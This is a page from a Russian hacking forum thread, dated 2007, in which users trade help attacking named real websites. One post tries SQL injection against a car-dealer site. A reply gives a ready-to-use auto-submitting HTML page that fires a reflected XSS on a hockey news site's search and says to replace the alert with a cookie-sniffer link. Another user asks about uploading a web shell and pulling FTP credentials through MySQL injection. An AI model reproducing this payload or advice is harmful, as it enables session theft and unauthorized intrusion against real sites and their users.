ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 48 из 2422 « Первая < 38 44 45 46 47 48 49 50 51 52 58981485481048 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.12.2007, 16:44
Klaus Doring
Участник форума
Регистрация: 23.07.2007
Сообщений: 100
С нами: 9895923

Репутация: 52
По умолчанию
Код:
 http://www.verra-motors.ru/main/index.html?id=5'INSERT%20INTO%20Users%20VALUES('admin',%20'123')
Я конечно извиняюсь, может я нареоман в синтаксисе Mysql, но почему ошибки вылазят?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 15.12.2007, 16:47
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
С нами: 10488959

Репутация: 474
По умолчанию
нельзя в mysql inj вставлять записи

Разве что уязвимый запрос будет:
PHP код:
INSERT INTO [SQL-INJ] bla lba... /* 
 
Ответить с цитированием

  #3  
Старый 15.12.2007, 16:54
gibson
Постоянный
Регистрация: 24.02.2006
Сообщений: 447
С нами: 10636106

Репутация: 705
По умолчанию
Klaus Doring у тебя идет выборка из таблицы т.е. можно только выбирать данные из таб и притом еще с объед запросом union ENFIX тебе показал как можно вставить данные, посмотри может на сайте есть рега и может там есть скуль.
 
Ответить с цитированием

  #4  
Старый 15.12.2007, 17:04
Klaus Doring
Участник форума
Регистрация: 23.07.2007
Сообщений: 100
С нами: 9895923

Репутация: 52
По умолчанию
Спасибо за ответ, реги нет, как в данном случае лучше провести инъекцию? Юзал поиск, но пожохдящей статьи не нашел, нет ни одной универсальной. Просто вот решил освоить, это мой первая найденная руками скуля
 
Ответить с цитированием

  #5  
Старый 16.12.2007, 21:08
Spoke
Познающий
Регистрация: 07.06.2007
Сообщений: 48
С нами: 9962081

Репутация: 19
По умолчанию
http://allhockey.ru/ на этом сайте в поле поиск есть xss....
фильтра там помойму вообще нет...кто чем помочь может развить идею?)
 
Ответить с цитированием

  #6  
Старый 17.12.2007, 00:03
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию
Цитата:
Сообщение от Spoke  
http://allhockey.ru/ на этом сайте в поле поиск есть xss....
фильтра там помойму вообще нет...кто чем помочь может развить идею?)
Дай кому-нить ссылку на хтмл следующего содержания:
Код:
<html>
<head>
<title></title>
</head>
<body onload="document.replier.submit();"> 
<form action="http://allhockey.ru/find/do-search.query-post.page-0.html" name="replier" id="find" method="post">

<input 
type="text" 
name="query" 
value='"><script>alert(1)</script>' />

</form>
</body>
</html>
Он увидит алерт. За место алерта ввсунь ссылку на снифер.
Зы Если на этом сайте куки вообще используются
 
Ответить с цитированием

  #7  
Старый 17.12.2007, 01:37
Spoke
Познающий
Регистрация: 07.06.2007
Сообщений: 48
С нами: 9962081

Репутация: 19
По умолчанию
Цитата:
Сообщение от AFoST  
Дай кому-нить ссылку на хтмл следующего содержания:
Код:
<html>
<head>
<title></title>
</head>
<body onload="document.replier.submit();"> 
<form action="http://allhockey.ru/find/do-search.query-post.page-0.html" name="replier" id="find" method="post">

<input 
type="text" 
name="query" 
value='"><script>alert(1)</script>' />

</form>
</body>
</html>
Он увидит алерт. За место алерта ввсунь ссылку на снифер.
Зы Если на этом сайте куки вообще используются
всё используется, пасиба за линк =)
 
Ответить с цитированием

  #8  
Старый 17.12.2007, 17:14
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


Unhappy
Цитата:
Сообщение от Spoke  
всё используется, пасиба за линк =)
никакой благодарности Не за что....
 
Ответить с цитированием

  #9  
Старый 15.12.2007, 17:07
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию
если не нашёл подходящей статьи значит плохо искал =\
 
Ответить с цитированием

  #10  
Старый 15.12.2007, 17:19
DEMIX
Познающий
Регистрация: 17.06.2007
Сообщений: 39
С нами: 9947280

Репутация: 11
По умолчанию
Закидываю шелл на сайт и мне выдает: Warning: copy(бла_бла_бла/шелл.php) [function.copy]: failed to open stream: Permission denied in бла_бла_бла/function.inc on line 19

Смотрел и не увидел ошыбки. В чем трабл???
И еще вопрос: что можно сделать если есть мускул инъекция???
Я узнал USER(), VERSION(), DATABASE()
Можно ли узнать логин и пароль к ФТП???
 
Ответить с цитированием
Ответ
Страница 48 из 2422 « Первая < 38 44 45 46 47 48 49 50 51 52 58981485481048 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 7 (пользователей: 0 , гостей: 7)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.